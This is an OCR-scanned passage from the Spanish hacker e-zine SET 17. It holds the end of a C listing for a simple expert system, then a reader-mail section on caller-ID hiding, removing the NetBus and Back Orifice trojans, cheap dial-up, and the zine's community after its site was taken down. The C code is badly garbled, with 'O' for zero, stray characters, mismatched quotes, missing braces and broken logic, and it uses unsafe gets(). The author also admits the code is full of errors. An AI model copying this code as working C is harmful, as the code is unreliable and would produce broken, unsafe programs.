struct atributo *p, *anterior_p;

for (;;) {
t = obtiene_siguiente();
if (t==-1){
printf ("Fuera de la lista.\n");
return;
}
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printf ("Nombre del objeto: ");
gets (base_c[t].nombre);

if (*base_c[t].nombre) {

n_pos--;
break;

}

p = (struct atributo *) malloc(sizeof(at));

if (p == 0x00) {
printf ("No hay memoria suficiente.\n");
return;

}

base_c[t].alista = p;
printf ("Introduce los atributos del objeto. ENTER para salir\n");
for (1) {

printf (">>");

gets (p->atrib);

if (Ip->atrib[0]) break;

anterior_p = p;

p->siguiente = (struct atributo *) malloc(sizeof(at));

p = p->siguiente;

p->siguiente = 0x00;

if (p == 0x00) {
printf ("No hay memoria suficiente.\n");
return;
}
}
anterior_p->siguiente = 0x00;
}
}
/*

* Ahora codificamos la funcion encargada de realizar las preguntas al
* Sistema Experto.

*/
pregunta ()
{
intt;
char ch;
struct atributo *p;
for (t=0;t<=n_pos;t++) {
p = base_c[t].alista;
if (intenta(p, base_c[t].nombre)) {
printf ("%s concuerda con la actual descripcion\n", base_c[t].nombre);
printf ("sigo (S/N): ");
ch = tolower(getche());
printf ("\n");
if (ch =="n’") return;
}
printf ("No se ha(n) encontrado (mas) objeto(s)\n");
}
/*
* Esta funcion se encarga de comprobar un objeto.
*/

intenta (struct atributo *p, char *ob)

{
char respuesta;
struct atributo *a, *t;

if (!sigueno(p)) return O;
if (!siguesi(p)) return O;

while (p) {
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if (preg (p->atrib)) {
printf ("es/hal/tiene %s? ", p->atrib);
respuesta = tolower(getche());
printf ("\n");

a = (struct atributo *) malloc(sizeof(at));
if ('a) {
printf ("No hay memoria suficiente.\n");
return;
}
a->siguiente = 0x00;
switch(respuesta) {
case 'n’: strcpy (a->atrib, p->atrib);
if (no) {
no = a;
siguienteno = no;
}
else {
siguienteno->siguiente = a;
siguienteno = a;
}
return 0;
case 's’: strcpy (a->atrib,p->atrib);
if (!si) {
si=a;
siguientesi = si;
}
else {
siguientesi->siguiente = a;
siguientesi = a;
}
p = p->siguiente;
break;
case 'p’: razonando (ob);
break;
}
}
else p = p->siguiente;
}

return 1;

}
/*

* Busca un atributo que no tenga el objeto y que este en la lista
*/

sigueno (struct atributo *p)

{
struct atributo *a, *t;
a =no;
while (a) {
t=p;
while (t) {
if (Istrcmp(t->atrib,a->atrib))
return O;
t = t->siguiente;
} . .
a = a->siguiente;
}
return 1;
}
/*

* Comprueba que tenga los atributos seleccionados
*/

siguesi (struct atributo *p)

{
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struct atributo *a, *t;
char ok;

a=si
while (a) {
ok = 0x00;
t=p;
while (t) {
if (Istrcmp(t->atrib,a->atrib))
ok = 0x01;
t = t->siguiente;

if (lok) return O;
a = a->siguiente;
}

return 1;
}
/*
* Comprueba si el atributo se pregunto con anterioridad
*/

preg (char *atrib)

{
struct atributo *p;
p = si;
while (p && stremp(atrib, p->atrib))
p = p->siguiente;
if (\p) return 1;
else return O;
}
/*

* Esta funcion muestra el motivo por el que se sigue una determinada linea

* de conocimiento.
*/

razonando (char *ob)
{
struct atributo *t;
int i;

printf ("Intentando %s\n", ob);
if (si)

printf ("es/tiene/ha :\n");
t = si;
while (t) {

printf ("%s\n", t->atrib);

t = t->siguiente;
}
if (no)

printf ("No es/tiene/ha :\n");
t=no;
while (t) {

printf ("%s\n", t->atrib);

t = t->siguiente;

}

for (i=0;i<=r_pos;i++) {
printf ("%s rechazado porque ", r_base[i].nombre);
if (r_base[i].condicion =='n")
printf ("%s no es un atributo.\n", r_base[i].atrib);
else

printf ("%s es un atributo requerido.\n", r_base[i].atrib);
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/*
* Situar el objeto rechazado en la base de datos
*
rechaza (char *ob, char *at, char cond)
{
I_pos++;
strcpy(r_base[r_pos].nombre, ob);
strcpy(r_base[r_pos].atrib, at);
r_base[r_pos].condicion = cond;
}
/*
* Conseguir el siguiente indice libre del array de la base de conocimiento
*
obtiene_siguiente()
{
Nn_pos++;
if (n_pos < MAX) return n_pos;
else return -1,
}
/*
* Aqui va la codificacion del menu de opciones
*/
menu()
char ch;
printf ("(I)ntroduce (P)regunta (S)alva (C)arga e(X)it\n");
do{
printf ("Selecciona una opcion: *);
ch = tolower(getche());
} while (lesta_en (ch, "ipscx"));
printf ("\n");
return ch;
}
/*
* Salvar la base de conocimiento
*
salva ()
{
intt, x;
struct atributo *p;
FILE *fp;

if (fp = fopen("experto.dat”, "w")) == 0) {
printf ("No puedo crear el archivo\n");
return;

printf ("Salvando la base de conocimientos\n®);

for (t=0;t<=n_pos;++t) {

for (x=0;x<sizeof(base_c[t].nombre);x++)
putc (base_c[t].nombre[x], fp);

p = base_c[t].alista;

while (p) {
for (x=0;x<sizeof(p->atrib);x++)

putc(p->atrib[x], fp);

p = p->siguiente;

for (x=0;x<sizeof(p->atrib);x++)
putc (\0’, fp);
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putc (0, fp);
fclose (fp);
}

/*
* Cargar una base de conociminto previamente almacenada
*/

carga()

intt, x;
struct atributo *p, *anterior_p;
FILE *fp;

if ((fp = fopen("experto.dat", "r")) == 0) {
printf ("No puedo abrir el archivo.\n");
return;

printf (“Cargando la base de conocimientos\n");
ini_basec();

for (t=0;t<MAX;++t) {
if ((base_cft].nombre[0] = getc(fp)) == 0)
break;
for (x=1;x<sizeof(base_c[t].nombre);x++)
base_c[t].nombre[x]=getc(fp);
base_c|t].alista = (struct atributo *) malloc(sizeof(at));
if (Ibase_c[t].alista) {
printf ("No hay memoria suficiente.\n");
break;

}

base_c[t].alista = (struct atributo *) malloc(sizeof(at));
p = base_c[t].alista;
if ('p) {
printf ("No hay memoria suficiente.\n");
return;
}
for (;;) {
for (x=0;x<sizeof(p->atrib);x++)
p->atrib[x]=getc(fp);

if (\p->atrib[0]) {
anterior_p->siguiente=0x00;
break;

}

p->siguiente = (struct atributo *) malloc(sizeof(at));
if (Ip->siguiente) {
printf ("No hay memoria suficiente.\n");
break;
} .
anterior_p = p;
p = p->siguiente;

}
}
fclose (fp);
n_pos=t-1,;
}
/*

* Funcion para inicializar la base de conocimiento
*/

ini_basec()

intt;
struct atributo *p, *p2;
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for (t=0;t<=n_pos;t++) {
p = base_c[t].alista;

while (p) {
p2 =p;
free (p);
p = p2->siguiente;
}
}
}
esta_en (char ch, char *s)
{
while (*s)
if (ch ==*s++)
return 1;
return O;
}
<-->

Por el momento lo vamos a dejar aqui. Aun queda mucho por ver, tanto de
sistemas expertos como de |A.

Como os decia mas arriba, este codigo fuente tiene muchos errores, y el
sistema experto no funciona precisamente bien. Asi lo teneis como
ejercicio para SET 18. Venga, intentad hacer que funcione lo mejor posible,
a~adirle mejoras. Y a ver si es mejor que el que os de en SET 18.

Have P/Hun
Falken
*EOF*
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-[Ox0B ]
-[ LAVUELTA A SET EN 0x1B MAILS ]
-[ by SET Staff ] SET-17-

-{ 0x01 }-

Soy un interesado en el artYculo y en el programa geu hiciste para el
seguimiento del cotxe robadoel hardware y el soooftware, porfavor
solicito el programilla ese y una cosa mf3s me gustaria que me dijeras
paso por paso lo que tengo que hacer pg estoy en un barrio que no puede
dejar cotxe alguno, porfavor y ruego, imploro, pidooooo que me envies
mucha informacion asY como planos para intentarlo montar

esperando una respuesta positiva

1SUzUKU[

[ La verdad que esta muy mal la situacion hoy dia de las calles.
La seguridad urbana escasea en muchos puntos. Pero lamentablemente
el texto de Omega era mas bien Ciencia Ficcion. El sistema es
realizable, con ciertas restricciones. No es algo que tengamos
desarrollado. Pero quien sabe lo que publicaremos en proximos
numeros? ;) |

-{ 0x02 }-
Hola a todos. Esta va para el profesor Falken

Me gustaria saber si existe alguna manera de evitar -el caller id-: Si se
puede transformar o limpiar en la llamada para que no nos detecten.

Tambien me gustaria saber como puedo yo detectar ese -caller id- en una
llamada.

Gracias

[ A la primera pregunta: Si que se puede.
A la segunda pregunta: Detectar el Caller ID es bien simple,
siempre que dispongamos de una linea RDSI. Veamos, solamente se
trata de un parametro que va en los datos intercambiados entre
las centralitas y los equipos RDSI. Claro, que teniendo en
cuenta como en Espa~a se nos ha dificultado el acceso a este
tipo de lineas de comunicaciones por parte de las "geniales
compa-ias telefonicas", la dificultad esta en acceder a este
dato desde un equipo no RDSI. NOTA: La linea es diferente. ]

-{0x03 }-

Este correo, va dirigido, a los ezines hispanos que creo que son los que

valen la pena.

SET, Raregazz, JJF. Teneis articulos buenos, articulos MUY BUENOS.

Pero veo problemas, a mi punto de vista con los ezines. A parte de que hay
muchos, es un desperdicio de articulos.

Ahora os digo la solucion tajante, y luego, la comento.

Creo, que una seccion -=articulos de la revista=-, en la que separaseis los
articulos, seria una gran idea.

Compensa separar los articulos, para que la gente, sepa que coger. Ordenarlos
por tema, y nivel.
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Sigo diciendo, que, la incomodidad de un ezine, es tener que rebuscar entre
otros articulos, que te pueden parecer interesantes o no, el que buscas.

Y asi, grupos como hackUMA, no se matarian a reventar, los bugs de SET y
articulos de RareGazz, para poder tener articulos decentes en su web.

Por favor "reply"“car este correo como senhal de que lo habeis recibido.

[ Antes de nada... Haceis un digest con lo que pillais por ahiy
no avisais? Bueno, mientras no modifiqueis los originales, no
hay problema.
Lo de separar los articulos para que cada uno coja lo que quiera...
No es mala idea del todo. Quizas con este numero de SET te hayas
llevado una sorpresa :)
La idea de dar la publicacion de esta forma es basicamente porque
si no te interesa un articulo, no hace falta que te este estorbando
cuando usas un visor de texto. Y mejor aun. Parecera absurdo en
una epoca en la que los sistemas operativos piden cada vez mas y
mas recursos. Pero aun queda mucha gente que dispone de maquinas
modestas incapaces de editar un archivo de mas de 500k Y al menos
nosotros lo que intentamos es que llegue a cuanta mas gente, mejor.
Ya veremos porgue aun aguardan muchas sorpresas. ]

-{0x03 }-

NecroSaludos,

Pues en 1° lugar muchas gracias por publicar la lista de nodos de la
Red de IRC Union Latina. :-)))))

[ De nada ;>]

Tambien darles animo, y sigan adelante... Menua guarraa les hicieron

los del #hackers, la verdad no entiendo esa postura censuradora y poderosa,
como keriendo decir nosotros somos the best y como somos tan guays os
jodemos, porke no nos gusta lo ke decis...

Nunca entendere como esa gente se denomina hackers asi mismos, cuando son

totalmente lo opuesto. Venga animo y sigan dandole cafa...

[ Nosotros tampoco lo entendemos, creeme. Debe ser por la moda.
ellos usan colonia marca "Hacker", y nosotros simplemente
aprendemos. No te preocupes, que seguiremos aqui por muchos
a~o0s. ]

Ale pues estuve hablando con el Creativel, y me comento ke muchos
lectores de SET, se habian dado un garbeo, y preguntaban por el canal de

set alli 0 algo asim... Pues nada, les propongo ke si les interesa, se les

puede registrar alli el canal #set en Union Latina.

Creo ke seria muy util para los lectores de la revista, ke tuvieran un lugar,

para poder solucionar sus dudas, y tal... Asi de paso se comunicarian con los
lectores y otros usuarios de la Red, para ke vean ke son gente normal, y no
son criminales (como dicen los medios de comunicacion) son gente con animo
de conocimientos... Bueno pues ke si les interesa envien un mail a:

[ Pillines !l Creiais que se me iba a escapar el email de esta
persona... Ni por asomo :)

Pues si, el tema seria interesante. Claro, que la mayoria de
nosotros no dispone de tiempo para pasar por el IRC. Pero la
idea es buena. Adelante con ella. Procurare enviarte un mail en
cuanto saque un rato libre. O se lo encargare a alguien del
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equipo. ]

Yo ya he hablado con el, y esta deacuerdo, ya le he comentado ke en caso de
ke esten interesados se lo diran por e-mail, diciendo ke van de parte mia.

Yo creo ke es una gran idea... Por cierto solo les pido ke si les ha
llegado el e-mail, pues ke por lo menos me contesten con un e-mail

diciendome si no estan interesados, en caso de ke no me llegue entendere
ke ya han hablado con Crea... :-)

Ale pues en caso de ke decidan afirmativamente, para mas info sobre las

ordenes de KaOs y tal:
http://www.unionlatina.org/kaos

Venga Saludox ah... jY KE CUMPLAN MUCHOS AROS MAS! :-)))

Un Saludo de Muerte (Director del Necronomicon)

NECRONOMICON (El Libro de los Muertos)
http://members.xoom.com/necrolibro

P.D: Sino conocen a Lovecratft... (A ke esperan para leerlo?

<< Que no esta muerto lo que yace eternamente. Y con el paso de los
evos, aun la muerte puede morir. >> Fragmento del Necronomicon de Abdul
Alhazred

Lo siento pero no me he podido resistir uno es un fan de HPL... :-)

Y ke Cthulhu les guie por el "mal camino" (XDDD bueno eso es lo ke
piensan la mayoria, pero en realidad es el buen camino...)

i ANARKIA'!

-{ 0x04 }-

Cual es el limite que le da eGroups.com al tamafio de los emails que les
envian a los suscriptos de una determinada lista?

[ A ver... De momento hay una lista en la que solo el moderador
puede escribir. El tama~0 maximo? No recuerdo haber visto por
ahi nada que indique un tama~o0 maximo. Pero si uno de los
que estan suscritos tiene limite en su buzon, pues la cagamos. ]

-{ Ox05 }-

Amigos de SET :

La verdad lo sentimos mucho .. por lo de geocities .. sepan que tienen
nuestro total apoyo en cualquier cosa .. sea lo que sea .. estamos a
vuestra disposicion para cualquier cosa .. en la cual les seamos utiles
... Estos lamerones la verdad se creen la gran cosa pero ni si quiera

son capaces de dar la cara ...... Y la verdad estan perjudicando a una
gran cantidad de personas (LECTORES) con este acto de COBARDIA .

[ Pues si supierais lo de los anonimos con amenazas de muerte.
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Desde luego han demostrado ahora mas que nunca lo que son.
Nosotros, a lo nuestro. ]

Proyecto_R
Magazine

AnDyK
TAKER
MATE
PlaXiuS

-{ 0X06 }-

Falken,
Desde argentina, te mando todo el apoyo posible!

[ GRACIAS |

Lo dejes que esos lamerz los inhiban de seguir con la ezine que es
Excelente.

Y digo lamerz, porgque son los lamerz capaces de avisarle a Geocities de la
Web.

Por un lado ellos defiende la libertad de Expresion, la informacion debes
ser libre, etc. Y avisan a Geocities para que bajen su Web... (Que ironia,
no?)

[ Y bien que. Paranoias que se montan algunos. ]

Muchachos, si necesitan alguna ayuda con la Web, yo soy disefiador de Web,
quizas pueda ayudarlos con algunos grafiquitos o con alguna seccion de la
Web, no tengo problema. Voy a averiguar si consigo algun server argentino,
para hacer un mirror o directamente subir la pagina de Set ahi y que nadie
por mas lamerz que sea los pueda sacar.

Desde aqui todo nuestro apoyo a nuestros hermanos Espafioles!

Saludos

Zomba

PD: No duden en darse una vuelta por conectados.ciudad.com.ar 6667

en el #hack.ar asi podemos charlar un poco (Hay muchos newbies, pero tambien
hay gente que sabe)

[ Lo importante es que seguro no son como los de aqui |

-{ 0x07 }-
Estamos con vosotros al 100% . La mayoria de la gente de ese canal ha
aprendido gracias a vosotros y a nosotros que dedicamos muchas horas
diarias para que la gente aprenda. Es una verguenza que intenten joder a
aquellos que les ensefan.
Cualquier cosa que necesites ... sabeis que podeis contar con nosotros.
Un saludo

[ GRACIAS GuyBrush. Y ya de paso felicitaros por el empuje que tiene

RareGazz. Los ultimos numeros son geniales. Aunque algunas secciones
me suenan un poquito ;) ]

-{ 0x08 }-
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Espero sirva esto

Se trata de como quitar los trojanos que traen de cabeza a muchos.

En primera el Netbus 1.53, al instalar el trojano una sesion de msdos se
inicia y finaliza con un texto en la pantalla

"not enough memory"

Al pasar esto, se instala el trojano y remotamente te controlan.
La solucion esta en borrar el archivo que provoca todos estos fallos.

c:\windows\sysedit.exe <---- el icono es una tuerca

Esto no se puede borrar desde windows, tienes que reiniciar tu
computadora en modo msdos y desde ahi borrarlo.

Haciendo esto ya no te podran controlar con el Netbus 1.53

Con la otra version no se si sea lo mismo, supongo que es algo parecido
a esto.

<<<Segun yo>>> tengo la solucion para el Back Orifice.

Al ejecutar el programa que instala el trojano (programa que aparece sin
icono) desaparece misteriosamente.

A donde se va este programa es a

c:\windows\system\ .exe <--- archivo sin nombre

Este archivo no puede eliminarse desde windows ni tampoco desde msdos.
Lo que yo hice fue borarlo desde linux

Ahi si funciono

Al parecer estoy libre de infecciones.

JORGE Y ANTONIO BRENAN

[ Desde luego... Si es que Linux es lo mejor. Ademas, usando Linux
nos aseguramos de que no puedan usar el BO con nosotros. Bueno,
no solo con Linux, pero cualquiera paga una licencia de un
Solaris ;) ]

-{ 0x09 }-
Hola, SET

Saludos, no desde la primera Isla Tortuga, sino donde esta ubicada
esta, me alegro que hallan publicado mi e-mail, siento un poco de
orgullo por eso, aunque un poco descontento por llamarme bukanera, no
todos somos asi, si vivieras aqui lo sabrias muy bien, aunque tienes
muchas razon mucha gente se mata por..., no es culpa del pueblo sino del
govierno gque nos govierna, pero como siempre existe alguien en contra de
esto, aqui creo que hay unos cuantos hacker muy reservados en lo suyo,
pero yo que soy un novatillo de primera clase y con ganas de aprender,
mucha cosas las he aprendido de ustedes, maestros de este arte por
maravilloso y en cierta forma, me hace ver que si hay un futuro, para todo

Articulo 0x0B Péagina 76



Saqueadores Edicién Técnica

aquel que lo proponga y luche por este.

[ De nada. Antes aclararte lo de bucanero. Supongo que conoceras
algo de la historia de la Isla de Tortuga. Hubo un tiempo en el
que los habitantes de la isla fueron los bucaneros. Mucha gente
los confundia con los piratas, tal y como sucede hoy dia con los
hackers.
Todo comenzo con la guerra de que los espa~oles iniciaron contra
Inglaterra, Francia y los Paises Bajos. Los espa~oles se
apoderaron de las posesiones de la gente, que tubo que refugiarse
en Haiti. Se dedicaron a la cria del cerdo, cuya carne ahumada
recibe el termino "bucan" y de ahi, bucanero.
En 1630 los espa~oles atacaron Haiti, y los supervivientes se
refugiaron en la Isla de Tortuga. Asi, los bucaneros solo atacaban
barcos espa~oles, pero porque estaban en guerra. Mientras tanto,
los piratas atacaban a cualquiera, con tal de saquear (huy, que mal
suena esto :) ) Como ves, lo de bucanero mucha gente lo tiene mal
interpretado.
Y ahora que lo pienso... Esto no es una ezine de hacking? Pues
dejemos por un momento la historia de lado. Y si alguien quiere
continuar, lo haremos en privado ;> ]

Bueno, pregunto que si es posible, conectarme a un proveedor de otro
pais, se preguntaran porque quiero esto, es que donde esta ubicado el
proveedor de servicios de Internet, la llamadas locales son gratis, si
uno vive en esa ciudad y se conecta a Internet, seria gratis Internet y
el telefono.

Ah!, creo que se imaginan lo que quiero hacer no, mi intesion es
conectarme, desde aqui, haciendo una llamada internacional a ese pais y
ciudad, cuando me conecte, se que pagare la llamada internacional bien
caro solamente seran unos segundos 0 minutos, para la conexion, cuando
este conectado, seguire paganda tarifas Internacionales, locales o tal
vez gratis.

[ Sorry. A si, a pelo, sin trucar la linea, aprovechar fallos en
la red telefonica, etc. pagaras la llamada internacional. ]

Por favor, answer to me!

Gracias, por aver publicado mi mensaje, GRACIAS, GRACIAS.......

SALUDOS, desde donde esta ubicada la primera Isla Tortuga. Un Saludo

de parte de KION

-{ OX0A }-

Holas pecadores!!!

Cojonuda la 16 y

Gracias por la mencion en la revista!!! :))))
Seguid asil!

Un saludete

Genkaos

-{ Ox0B }-

Profesor Falken:
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Al leer SET 16 nos hemos enterado
de la nueva iniciativa con respecto a la creacion de
las listas. Dado que vemos el duro trabajo que es
mantener SET al dia y ahora tambien mantener la nueva
lista, pensamos que seria mucho trabajo crear una lista
interactiva si los lectores no la piden, pero nosotros
sabemos que es muy necesaria, ya sea para informarnos
de nuevos sucesos, intercambiar informacion,
pensamientos, etc, como tambien colabrar con aquellos
que recien comienzan.

Vasandonos en esta realidad se nos ha
ocurrido a Black Wizard y a mi (Avathar), crear una
lista de discusién, para todos los que quieran
subscribirse, dicha lista seria de SET, pero
nosotros, los moderadores.

Tambien comprendemos lo que tu piensas: ¢Porque
dejar la lista en manos de tipos que aprecen de la nada?
Bueno, nosotros comenzamos hace tiempo, somos Uruguayos,
aqui el ambiente hacker esta creciendo, somo cada
ves mas, Disciples of The Art Aflame (te acuerdas,
aparecio en el TABLON DE ANUNCIOS nuestro regreso).

Si te interesa la propuesta, pues bueno
escribeme.

Sin mas que decir, con un gran saludo, nos
despedimos.

Avathar y Black Wizard
Disciples of the Art Aflame
www.visitweb.com/disciples

[ Bueno, bueno. La verdad que la tarea de moderar la lista no
conlleva tanto tiempo. Es mas. Por el momento a la lista que
hay creada solo puede escribir el moderador. Es posible, si
hay demanda, que la lista pase a estar abierta a todo el mundo.
No se restringira ningun mensaje, siendo cada uno responsable de
lo que diga.
No creais que no valoramos vuestra intencion. De hecho en SET se
necesita gente que pueda echar una mano. Hay varios proyectos
en marcha y ad